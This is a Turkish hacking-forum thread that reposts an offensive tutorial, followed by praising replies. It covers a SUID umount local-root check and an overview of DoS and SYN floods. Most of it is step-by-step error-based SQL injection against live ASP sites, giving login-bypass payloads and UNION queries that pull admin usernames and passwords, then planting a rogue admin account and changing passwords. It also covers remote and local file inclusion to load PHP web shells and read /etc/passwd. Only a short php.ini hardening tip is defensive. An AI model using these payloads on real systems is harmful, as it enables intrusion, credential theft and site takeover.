Sisteme remote attack düzenledik ve girdik. Ama şimdi ise locak attackdüzenleyip root olduk. Ve eğer sistemde bir hesabımız olursa artık local attack yapıyoruz.

Bir detay daha;

Sistemi ele geçirmek için;

mount/umount ile başlayalım.

Sistemde bin dizinine geliyoruz ve umount veya mount ismiyle bir dosya aratıyoruz.

Alternatif olarak;

find / -name umount -print -xdev komutunu da kullanabilirsiniz.

Dosyayı bulduğumuzu varsayıyorum ve özelliklerine bakmak için;

[COLOR="rgb(221, 160, 221)"]ls -al um* komutunu yazıyorum.

Bundaki amaç;
Eğer bu dosya SUID(kullanan kişi root) ise sistemi alma yetkimiz bile olacaktır.

x-master:/bin# ls -al um*
-rwsr-sr-x 1 root 8888 Aug 20 1998 umount
x-master:/bin#

Bingo ! Hallettik. Daha sonra (umount.c) yi(exploit) kullanarak sisteme compile edeceğiz.[/COLOR]

** D.O.S

Denial Of Service (DOS) denilen sistem işleyişini engelleme yöntemi, belirli verilere erişim sağlamak yerine yetkili kullanıcıların uygulamalara erişimini engelleyerek bilgi sistemleri kaynaklarını kilitler. Bu Attack türü ile sistemin sunduğu hizmet veya hizmetleri tamamiyle engelleyebilir ve devre dışı bırakabilir. Dos Attack işleyiş olarak, Attacker’ın çok büyük oranda karışık ve karşılanamaz verileri hedef sistem ağlarına veya bilgisayarlarına doğrudan göndermesini baz alır. Dos Attack yöntemini tehlikeli kılan yön ise çok eski tip makineler ve modemler ile çok karmaşık ve sofistike sistemleri devre dışı bırakmaktır.
DOS attacklar sadece e-ticaret ve web servislerine yapılmamaktadır. Bu saldırılardan routerlar, sanal özel ağlar(VPN) ve IRC sunucularıda etkilenmektedirler. Bir servis sağlayıcının router’ına yapılacak bir saldırı sonucu network trafiği altüst olabilir ve sonucundada müşterilerinin bağlantıları kopabilir. Daha önce en büyük IRC ağlarından Undernet’in bazı önemli sunucuları DDoS yöntemiyle çökertilmişti. Saldırıda servis sağlayıcılar saniyede yüzlerce MB veri bombardımanına tutulmuştu. DOS Saldırılarını temel olarak üç başlık altına toplamak mümkündür.

&eth;Kısıtlı Kaynakların Tüketilmesi
Bilgisayarlar ve ağlar hizmet verebilmek için, bant genişliği, disk alanı ve hafıza, CPU Time, veri yapısı, diğer bilgisayarlar ve ağlara giriş olanağı gibi temel işlevlere ihtiyaç duyarlar. DOS Saldırılarının en genel görülen türü ise bu kaynaklara yapılanlardır.

Kaynak tüketme amacıyla yapılan DOS saldırılarında hedef sistemin process tablosu doldurulur, yukarda söylediğimiz gibi hizmet vermek için ihtiyaç duyulan bant genişliği, DOS saldırılarında tüketilir ve disk alanı büyük miktarda verilerle doldurulur.
Process tablosunun hedef olduğu saldırılarda kullanılan exploit, zincirleme bir reaksiyonla bir process’in diğerini başlatmasını sağlar. Bu sayede sistem kaynakları tüketilmeye ve sistemin verdiği hizmet engellenmeye, devre dışı bırakılmaya çalışılır.

Disk alanına yapılan saldırılarda kullanılan exploit ise çok büyük miktarda dosyalar oluşturarak, boş yer kalmasını engeller. Dolayısıyla yeni dosyaların oluşumu engellenir.
Bant genişliğinin hedef alındığı saldırılarda ise Attacker karmaşık yapıdaki paketleri hedef sistemin ağına gönderir. Paket sayısı yeterli seviyeye geldiği zaman bant genişliğinin tükenmesi ve ağ kaynaklarının kullanılması engellenmiş olur.
Kaynaklara yönelik saldırılara arasında Network Bağlantısı dediğimiz yöntem de vardır. Bu saldırıda amaç servis sağlayıcısının veya ağın haberleşmesini engellemektir. Bu saldırı tipine en uygun örnek SYN Seli dediğimiz saldırı türüdür.
SYN Seli, istemci bir bilgisayarın, başka bir bilgisayarla Tree way handshake dediğimiz üçlü el sıkışma mekanizmasını başlatması ve SYN paketini göndermesi, buna karşılık sunucu bilgisayardan ise SYN/ACK paketini alması ve son ACK paketini göndermemesi ile olur. Bu sayede sunucu tarafında açılmış fakat tamamlanmamış bir bağlantı söz konusu olacaktı. Bu bağlantı isteği uzun bir süre dolumuna kadar açık tutulacaktır.
Ve Attacker bu işlemi sürekli devam ettiği zaman belli bir noktadan sonra gelen yeni paketler sunucudan cevap alamayacak ve servis kilitlenecektir.
Ayrıca kullanıcı kaynaklarının, kullanıcının kendisine karşı kullanılmasına dayanan 5K saldırısı da Kaynaklara yönelik saldırılardandır. Bu yönteme örnek olarak bir UDP Port üzerinden gerçekleştirilen saldırıları verebiliriz. Bunun nedeni ise herhangi bir UDP servisi üzerinden bağlantı kurulduğu esnada, bağlantının kendi doğasından dolayı bu servis çok sayıda paket üretir. Bu saldırı türünde ise, bu paketler hedefe yönlendirilerek saldırı gerçekleştirilmiş olur.
&eth; Configuration Verilerinin Değiştirilmesi veya Silinmesi


Bu saldırı türünün kullanımı sistemin yeterli seviyede yönetilememesi veya şekillendirilememesine dayanır.

Attacker ise bu sistem hatasından faydalanarak, sistemin konfigürasyonuyla oynar ve sistemin konumuna veya türüne uygmayan verileri girerek sistemin işleyişini engellemeye, sisteme ulaşımı devre dışı bırakmaya çalışır. Mesela; Attacker’ın hedef bir Router ’ın bilgilerini değiştirmesi, hedef alınan ağın tamamının yok olmasına sebebiyet verir. Ayrıca WinNT sistemlerde Registry ’de yapılacak olan değişiklikler birçok servisin devre dışı bırakılmasına neden olabilir.
&eth;Fiziksel Değişiklikler veya Silmeler
Bu saldırı türü, fiziksel güvenlik kavramı içerisinde yer almasına rağmen, doğurduğu sonuçlar açısından DOS Saldırısıdır. Bu saldırı türü; yetkisiz bilgisayar girişine, kablo alt yapısı ve router fiziksel erişimine, enerji ve soğutma birimlerine ve sisteminiz için gerekli olan kritik birimlerin erişimine dayanmaktadır.




Soru ve Cevaplarla SQL Inj. / 1
S1: Sql nedir? Niçin kullanılır?
C1: Sql bir veritabanıdır ve kullanıcıyla etkileşimi sağlayarak, istenilen bilgileri sorgulama türüne göre kullanıcıya sunar. Veritabanlarında tablolar saklanır ve bu tablolarda hakkında bilgi tutulmak istenen şeyler (üye,öğrenci, personel, ürün vs. kayıtları) bulunur. En çok kullanılan veritabanları Microsoft SQL ve Unix MySQL’dir.
S2: Sql’de sorgulama nasıl yapılır?
C2: Normalde veritabanının (sql veya mysql) kendi komutlarını kullanarak bir sorgulama yapabilirsiniz. Ancak SQL ya da Mysql kullanan bir siteye doğrudan sorgulama yapamazsınız. Sorgulama işi, bizim web sitesinde gördüğümüz sayfaları oluşturan asp ya da php kodları tarafından yapılır ve bu kodlar webmaster tarafından yazılır. Bir alışveriş sitesinden mesela ASUS marka notebook’ları göstermesini istediğimizde aslında bir sorgulama yapmış oluruz, ancak bu sorgulamayı bizim yerimize asp ya da php kodları yapar.

S3: Sql enjeksiyonu nedir?
C3: Sql enjeksiyonu, veritabanlarının kullanıldığı sitelere kod açıklarından faydalanarak yapılan komut girişleridir.Özellikle Asp ve php ile yapılmış ve kötü olarak tasarlanmış (kod açısından) sitelerde sıkça sql enjeksiyonu açığına rastlanır.

S4: Her asp ya da php sitesinde bu açık varmıdır? Yoksa nasıl bulacağım bu açığı?
C4: Hayır, her asp ya da php sitesinde bu açık bulunmaz. Çünkü bu açığın temeli webmaster’un kodlarda yaptığı bazı hatalara dayanır.Her webmaster da bu açığa düşmez.Bu açığın bir sitede olup olmadığını öğrenmek için mesela asp ile yapılmış bir sitenin kullanıcı girişinin olduğu herhangi bir alana (kullanıcı ismi, arama alanı vs) ya da URL adresi kısmına ’ (tek tırnak) yazmanız yeterli. Bu sayede SQL’i hata vermeye zorlarsınız. Eğer şuna benzer bir ODBC hatası verirse, o siteye SQL enjeksiyonu yapılabilir:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’urunler’ to a column of data type int.
/index.asp, line 11

S5: SQL’i başka nasıl hata vermeye zorlarım ?

C5: Şunlardan birini yazarak:
’ or 1=1--
" or 1=1--
’ or ’a’=’a
or 1=1--
’) or (’a’=’a
" or "a"="a

S6: Peki bunları niçin yapıyoruz ve bunlar ne anlama geliyor?
C6: Bunları SQL’in normal kullanıcıya sunmadığı bilgileri önümüze sermesi için yapıyoruz. Bu sayede SQL hata veriyor ve biz de bu hatadaki bilgiler yardımıyla sisteme kod enjekte ediyoruz. Mesela ’ or 1=1-- şeklindeki bir ifadeyi kullanıcı girişinin olduğu herhangi bir alana yazdığımız zaman, SQL’e diyoruz ki: Giriş şartı ya hiçbirşeydir ya da 1=1 olduğu zaman geçerlidir. 1 her zaman 1’e eşit olduğuna göre, sql bizim feykimiz yemiş oluyor, yukarıdaki gibi bir hata veriyor. Bu hata sayesinde biz de adını bilmediğimiz tablonun ne olduğunu öğreniyor ve ona göre yeni komut vererek amacımıza ulaşıyoruz.

S7: Olay biraz karıştı. Bir örnekle açıklasak şunu?
C7: Ok, SQL’de normalde bir sorgulama şu şekilde yapılır. MEsela bizim ürünler diye bir tablomuz olsun ve bu tabloda web sitesinde sattığımız kitaplarımız, telefonlarımız vb gibi ürünlerimiz olsun . Normalde Sql’deki "urunler" adlı bu tablodan "kitaplar" başlıklı tablonun hepsini seçmek istediğimizde şöyle çağırırız:

SELECT * FROM urunler WHERE urunID=’kitaplar’

Ancak biz bunun yerine şu ifadeyi kullanalım:

SELECT * FROM urunler WHERE urunID=’’ or 1=1--’

Şimdi en sağa dikkat edin, buraya ’ or 1=1--’ kod enjeksiyonu yaptık ve sql’e "urunler tablosundan bana urunID’si boş olan (en baştaki tırnaklara dikkat edin) ya da 1=1 eşitliğinin sağlandığı tabloyu getir" dedik. Böylece adını hiç bilmediğimiz tabloların ismini öğrenmiş olacağız.



Soru ve Cevaplarla SQL Inj. / 2

S8:Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ hatası veren her or açığını yer anlamına gelirmi ?bu hatadan çok karşılaştığım için or açığı yemediği için sordum. yoksa başka sql kod denememmi lazım
C8: Bu hata o sistemin potansiyel olarak SQL enjeksiyonuna maruz kaldığını gösterir. Ancak tam olarak istediğimiz hata mesajlarını alabilmek için ilk bölümde anlatılan diğer ifadeleri ( " or "a"="a gibi) denemek gerekir.
S9: Adım adım bir sql enjeksiyonu nasıl yapılır?
C9: Önce SQL açığı olan bir siteyi, anlatılan ifadeleri ilgili yerlere yazarak buluyoruz. Sonra sorgu için UNION isimli bir operatör kullanacağız. Bu operatörün görevi birden fazla sorguyu cevaplamak. Yani biz SQL’e "şu ve şu kritere göre bize sonuçları getir" diyeceğiz. Aşağıdaki örneği gerçek bir web sitesinde yaptım, ancak domain ismini xxx ile değiştirdim.

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
S10: Biraz hızlı gidiyoruz galiba. Bu “INFORMATION_SCHEMA.TABLES” , "TOP 1 TABLE_NAME " ne? Niye kullandık buları? (sizin adınıza güzel sorular soruyorum di mi? )
C10: INFORMATION_SCHEMA.TABLES ismini mecburen kullandık. Çünkü veritabanında bir sürü tablo var ve biz bunların hiçbirinin adını bilmiyoruz. Bunun için de öncelikle genel bir isim kullanmak zorunda kaldık. INFORMATION_SCHEMA.TABLES tablosu, veritabanındaki tablolar tablosu gibi birşey, yani tüm tabloların bilgisini saklıyor. “TOP 1 TABLE_NAME” ise adından da anlaşılıyor: en üstteki tablo. Bunu da dediğim gibi tablo ismini bilmediğimizden kullandık, ama biz böyle yazmakla sisteme bir feyk atıyor ve en üstteki tabloyu sorgulatmaya çalışıyoruz.
UNION’ı da sistemi hata vermeye zorlaması için kullandık. Sisteme dedik ki,"catid=3" olan tabloyla genel tablodaki en üstte olan tabloyu (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--) birleştir ve getir dedik, ama burada yine bir feyk attık, çünkü biri integer (3), diğeri string. Sonuçta sistem bize "integer ve string sonuçlarını birleştiremediği için" şöyle bir hata verecek.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’adams’ to a column of data type int.
/index.asp, line 3
Bingo!!! İlk hatamızı aldık...
S11: Bu hata ne işimize yarayacak?
C11: Çok işimize yarayaak Çünkü bu hatayla biz en üstteki tablonun (TOP 1 TABLE_NAME) ismini öğrendik:adams.
S12:Geri kalan tabloları nasıl öğreneceğiz. Yine aynı metodu mu kullanacağız?
C12: Aynı metodu da kullanabiliriz, ama işimiz biraz daha uzar. Bu nedenle neyi aramak istiyorsak ona yoğunlaşacağız. Mesela hedefimiz, kendimizi sitenin admin grubuna katmak olsun. O zaman içinde admins, users ya da login gibi kelimeler geçen tabloyu aratacağız. Bunun için de SQL’e "tablo adında mesela "admin" gibi (LIKE operatörü) kelimeler geçenleri bana göster" diyelim:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%admin%’--
SQL bize şimdi istediğimizi verecek

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3
Varan 2... Artık admin tablosu diye bir tablo var elimizde, işimiz şimdi çok daha kolay. O zaman devam edelim. Şimdiki hedefimiz "admins" isimli tablodaki kolonlara ulaşmak. Aynı metodu kullacağız yine...
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--
Burada da INFORMATION_SCHEMA.TABLES yerine INFORMATION_SCHEMA.COLUMNS ifadesini kullandık. Yani yine feyk attık sql’e, o da bu feykimizi yedi:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logonID’ to a column of data type int.
/index.asp, line 3

Varan 3 ... Artık "admins" isimli tablodaki ilk sütunun ismini biliyoruz:“logonID” . Devam edelim ve diğer sütunun ismine bakalım. NOT IN operatörünün kullanımına dikkat edin:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logon’ to a column of data type int.
/index.asp, line 3
Diğer sütunun da ismini öğrendik: "logon" diye bir tablo. Artık son aşamaya yaklaşıyoruz, sıra şifreler ve detaylarda:

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’,’logon’,’password’,details’)--

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 3
Şimdi de kullanıcı ismi ve şifresi için gereken komutlar. Önce admins tablosundan, ilk sütuna (logon)a bakalım:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 logon FROM admins--

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’johny’ to a column of data type int.

/index.asp, line 5
“johny” isimli yönetici hakkına sahip bir kullanıcı bulduk, şifresini de bulmak isteyelim:
http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 password FROM admins where logon=’ johny ’--
veeee şifre geliyor:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’aeE2DbU’ to a column of data type int.
/index.asp, line 3

Artık elimizde kullanıcı ismi “johny”, şifresi “aeE2DbU” olan bir kullanıcının bilgileri var. Rahatlıkla sitede istediğimizi yapabiliriz, ama bu kullanıcının şifresini değiştirme ihtimaline karşı, veritabanına yeni bir kullanıcı ekleyelim.
http://www.xxx.com/index.asp?catid=3; INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’enigma’,’:P’,’NA’)--


Soru ve Cevaplarla SQL Inj. / 3
S1- " or "a"="a gibi şeyleri nereye yazacam?

C1- Form alanı olan, sorgunun yapıldığı herhangi bir yere. Mesela kullanıcı ismine, şifreye, ürün arama kısmına vs.


S2 - UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- bunu nereye yazıcam?

C2 – Adres satırına... Verilen örneklerde olduğu gibi


S3- üstatlar bu hata ne anlama gelir? enjeksiyon edilmiş hangi satır olabilir? İşin içinden çıkamadım yardımcı olursanız sevinirim...

Microsoft OLE DB Provider for SQL Server error ’80040e14’

Unclosed quotation mark before the character string ’ ORDER BY rezkirin’.

/include/legercep_i.asp, line 17


C3- Aslında gayet açık, tablonun ismi ORDER BY. Ancak bu bir alışveriş sitesine ait olduğundan bu soruda detaya inmiyorum. Lütfen misyon dışında bildiklerinizi kullanmayın.

S4- Bu kodlar sadece asp sitelerinde mi çalışır yoksa php lerde de yer mi?

C4- SQL enjeksiyonu genel bir isimdir, bu nedenle sadece asp sitelerinde değil, php sitelerinde de çalışır.

S5 – O kadar uğraşmama rağmen SQL’e hata verdiremiyorum. Sorun ne?

C5 – Buradaki en büyük sıkıntılardan biri
http://xxx.com/index.asp?id=5 UNION SELECT TOP 1 password FROM admin_login where login_name=’enigma’--
tekniğinin her zaman işe yaramamasıdır. Hatırlayın, yukarıdaki örnekte biz stringi (yani düz yazıyı) nümerik değere dönüştürmeye çalışmış ve SQL’i hata vermeye zorlamıştık. Ama eğer şifre 1234 gibi nümerik bir değere sahipse ne olacak? O zaman yukarıdaki teknik işe yaramaz ve “sayfa bulunamadı” gibi bir hata mesajı ya da sayfası ile karşılaşırız.

S6- Peki o zaman bu sorunu nasıl aşacağız?

C6- SQL’i hata vermeye zorlamak için sadece rakam ya da string kullanmak yerine ikisinin karışımını kullanacağız ve hata vermesini garantileyeceğiz. Mesela

http://xxx.com/index.asp?id=5 UNION SELECT TOP 1 convert(int, password%2b’%20TurkHackTeam’) FROM admin_login where login_name=’enigma’--

Burada yaptığımız şey istediğimiz tekstin sonuna + işareti (ASCII kod karşılığı 0x2b dir) ile boşluk(%20) ve TurkHackTeam kelimesini ekledik. Böylece şifre 1234 olsa bile, biz 1234 TurkHackTeam olarak sisteme gönderme yaptık ve “convert” fonksiyonunu kullanarak 1234 TurkHackTeam ifadesini nümerik bir değere dönüştürmesini istedik. Böylece SQL’in şu tarz bir hata vermesini sağladık:


Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’1234 TurkHackTeam’ to a column of data type int.
/index.asp, line 5

Böylece artık Enigma kullanıcı ismi ve 1234 şifresiyle sisteme girebiliriz.

S7- Daha önce verdiğim bir şifreyi ya da kullanıcı ismini değiştirebilirmiyim?

C7- Evet bu mümkün. Mesela şifremi değiştirmek için

http://xxx.com/index.asp?id=5; UPDATE ’adminlogin’ SET ’password’ = ’yenisifre’ WHERE loginname=’enigma’--

şeklinde bir komut girebilirim.

S8 - Acaba tırnak içerisindeki yerlerin hep aynı olma olasılığı varmıdır?Çünki her deneyişimde hepsi aynı çıkıyor ve hep aynı sütündaki hatayı gösteriyor.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/shoes/index.asp, line 105

C8- Burada kolon sayısında bir uyuşmazlık var. Bu nedenle de hep aynı hata mesajı geliyor. Bu olayı inceleyelim. Mesela senin SQL’e gönderdiğin sorgu şöyle olsun:

http://www.xxx.com/index.asp?catid=3 UNION ALL SELECT 3 FROM SysObjects Where “n”

Senin yaptığın bu sorguya karşılık yukarıdaki hata geliyorsa, o zaman şunlardan birini dene.

http://www.xxx.com/index.asp?catid=3 UNION ALL SELECT 3,3 FROM SysObjects Where “n”
http://www.xxx.com/index.asp?catid=3 UNION ALL SELECT 3,3,3 FROM SysObjects Where “n”
http://www.xxx.com/index.asp?catid=3 UNION ALL SELECT 3,3,3,3 FROM SysObjects Where “n”


Remote File Inclusion / Local File Inclusion
Öncelikle bu kavramların ne demek olduğunu öğrenelim..
Remote File inclusion: Uzaktan Dosya Dahil Etme
Local File inclusion: Yerel (Server’dan) Dahil Etme

================================================== ===============
Remote File Inclusion: Öncelikle bu file inclusion açıgımızdan bahsetmeye başla-yalım.Dediğim gibi son zamanların en çok kullanılan ve bulunan açıklarından.
Bu açıklar sayesinde hedef siteye php shell’ler(c99,r57) upload edilebilir, hatta serverdaki tüm sitelere zarar verilebilir.Peki bu açıklar nasıl meydana gelirler birazdan ondan bahsedelim.
Php scriptlerini kodlayan coderlerın hepsi profesyonel değillerdir, yada binlerce satır yazılan kodlarda yapılan hatalardan ortaya çıkar bu File Include açıkları.Bir örnekle açıklamadan önce bazı 3-5 bilgi örenmeniz gerekmektedir.
Veriable: veriabler, php dilinde bilgileri bulunduran sepetler olarak düşebilirsiniz.
İnclude ve include_once: Kelime anlamı dahil etmedir.php dilinde bir dosya ya, başka bir dosyayı dahil etmeye yarar.Binlerce satır kodu tek bir kod la başka bir sayfada kodlanmış olarka gösterebilirsiniz.
Require ve require_once: Görevi bir üstteki include ve include_once ile aynıdır ama tek bir farkı vardır.O farkta; bir scriptte include ile bir dosyayı başka bir dosyaya dahil ettik, ama o dahil ettiğimiz dosya mevcut değil.Bu durumda o satırı php yorumlayıcısı atlar, hata mesajı gösterir ve o sayfanın kalan kodlarını yorumlar.Ama require de bu durum yoktur.require ile dahil edilen dosya mevcut değilse, bu sefer tek bir hata kodu gösterir php yorumlayıcısı ve sayfadaki diğer kodları okumayı durdurur.Bu fark bizim için önemsizdir, ama bilmenizde fayda var
Şimdi bir örnek yapalım..
<?
include ($xoron.’../config.php’) ;
?>
Üstteki kodun bulundugu dosyayı test.php olarak kaydedin ve bir php destekleyen siteye atın.test.php yi açtıgınızda bir hata alacaksınızdır.Bunun nedeni test.php ye dahil edilen config.php nin bulunamamasıdır
xoron/SPAN=http://shell-adresiniz?
Test.php de bulunun $xoron veriableı tanımlı değildir.Yani sepet dolu değildir.Bizde o boş sepeti kendi kodumuzda yani c99 veya r57 shell’lerimizle doldurarak servera girebiliriz.
<?
$xoron: ‘files’;
include ($xoron.’../config.php’) ;
?>
Üstteki kodu test2.php olarak kaydedin ve php destekleyen sitenize atınız.
http://www.mysite.com/test.php?xoron...ell-adresiniz?
Yazarsanız açıgın çalışmadıgını göreceksinizdir.Bunun nedeni $xoron: ‘files’;
Bu kod ile $xoron veriablenın tanımlanması yani sepetin doldurulmasıdır.
Local File Inclusion: RFI açıgından bahsettikten sonra ise sıra geldi LFI açıklarına.Bu açıklar RFI dan daha az kullanılmaktadır ve etkiside RFI kadar yoktur.Biraz hakkında konuşalım LFI’nın. Gene php coderların acemilikleri veya unutkanlıklarından meydana gelen açıklardır.LFI ile bir sitenin ftp’sindeki veya serverdaki dosyaları okuma iznimiz varsa okuyabiliriz.Her RFI açıgını bir LFI gibi kullanabiliriz ama ortada bir remote file include imkanımız varken local file include yapmamız saçma olurdu=) .

Bir örnekle açıklayalım
<?
include (’files/$cw/config.php’) ;
?>
Bu kodu test3.php olarak save edip php destekleyen bir servera atıp çalıştırdıgımızda gene hata alacagızdır,bunun neden, config.php nin bulunamamasıdır.Bu bizim için fark etmez bizim amacımız farklı.
Bu koddaki$cw veriablı tanımlı değildir bu yüzden aşagıdaki bir komutla okuma izni olan tüm dosyaları okuyabiliriz.
http://www.mysite.com/test3.php?cw=..../../etc/passwd
ben üstte serverın /etc/passwd dosyasını okudum siz isterseniz başka dosyalarıda okuyabilirsiniz.
<?
$cw : ‘conf’ ;
include (’files/$cw/config.php’) ;
?>
Bu dosyayı test4.php olarka save edip php destekleyen bir hostta attıgınızda LFI açıgının çalışmadıgını göreceksiniz.Bunun nedeni $cw : ‘conf’ ; bu kod ile tanımlı olmayan $cw veriablı tanımlanmıştır.Yani sepet doldurulmuştur.
Son zamanların en çok kullanılan ve hostingcilerin başına en çok bela açan açıkların başında gelmektedir.

File Inclusion açıklarından yararlanarak servera upload edilen php shell’lerden nasıl korunurum diye düşünüyorsanız işte cevabı….
/etc/php.ini dosyasını açın
disable_function satırını buluyoruz ve karşısına bunları ekliyoruz.

system,passthru,exec,popen,proc_close,proc_get_sta tus,proc_nice,proc_open,allow_url_fopen,shell,shel lexec,execute
service htttpd restart diyoruz
NOT: Bu fonksiyonlar disable yapıldıgında bazı scriptler serverınızda çalışmayacaktır ama bu açıklardan da korumuş olacaksınız.

==================================================

Alıntıdır.
ShaaDooM Teşekkür etti.
qaqa12 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2012
Mesajlar:
53
Konular:
4
Teşekkür (Etti):
3
Teşekkür (Aldı):
0
Ticaret:
(0) %
05-04-2012 01:37
#2
Ellerine saölık kardeşim güel anlatmışsın
AliqueLL - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
04/2012
Mesajlar:
39
Konular:
3
Teşekkür (Etti):
0
Teşekkür (Aldı):
1
Ticaret:
(0) %
05-04-2012 17:49
#3
Helal Olsun Kardeş Başka 1 Söz Varmıki
--------------------- [CENTER]Yakında Bende 1 Türk Hackeri Olcam
ExeOweR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2012
Nereden:
İstanbul
Mesajlar:
2.839
Konular:
355
Teşekkür (Etti):
360
Teşekkür (Aldı):
1152
Ticaret:
(0) %
05-04-2012 18:32
#4
Emegine Saglık Kardeşim Güzel Paylaşım..
---------------------

'Ben TÜRK olmayan herşeye karşıyım.'

'Modası geçmeyen tek şey EFENDİLİK'
ShaaDooM - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
02/2012
Nereden:
İstanbul
Mesajlar:
1.947
Konular:
623
Teşekkür (Etti):
397
Teşekkür (Aldı):
245
Ticaret:
(0) %
06-04-2012 01:04
#5
Ancak böyle hacker olunabiliyor.. diğerleri fasa fiso..
BAHADIR ATALAY - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
04/2012
Nereden:
İstanbul
Yaş:
22
Mesajlar:
102
Konular:
14
Teşekkür (Etti):
20
Teşekkür (Aldı):
8
Ticaret:
(0) %
06-04-2012 15:47
#6
Hepsini Okuyan
Hotfile.com: 1-CLICK Dateihoster: hacker_egitimi_chip.rar
buyrun bu kısaca videolu anlatımdır bu yazıların çoğunu kısaca anlatır. VİDEODA SESDE VAR
red645 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2013
Mesajlar:
398
Konular:
67
Teşekkür (Etti):
51
Teşekkür (Aldı):
32
Ticaret:
(0) %
05-08-2013 17:49
#7
harika . bn nato yu hackledimde caktirmiyom yada samurai bnm ®®®©©®©®

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler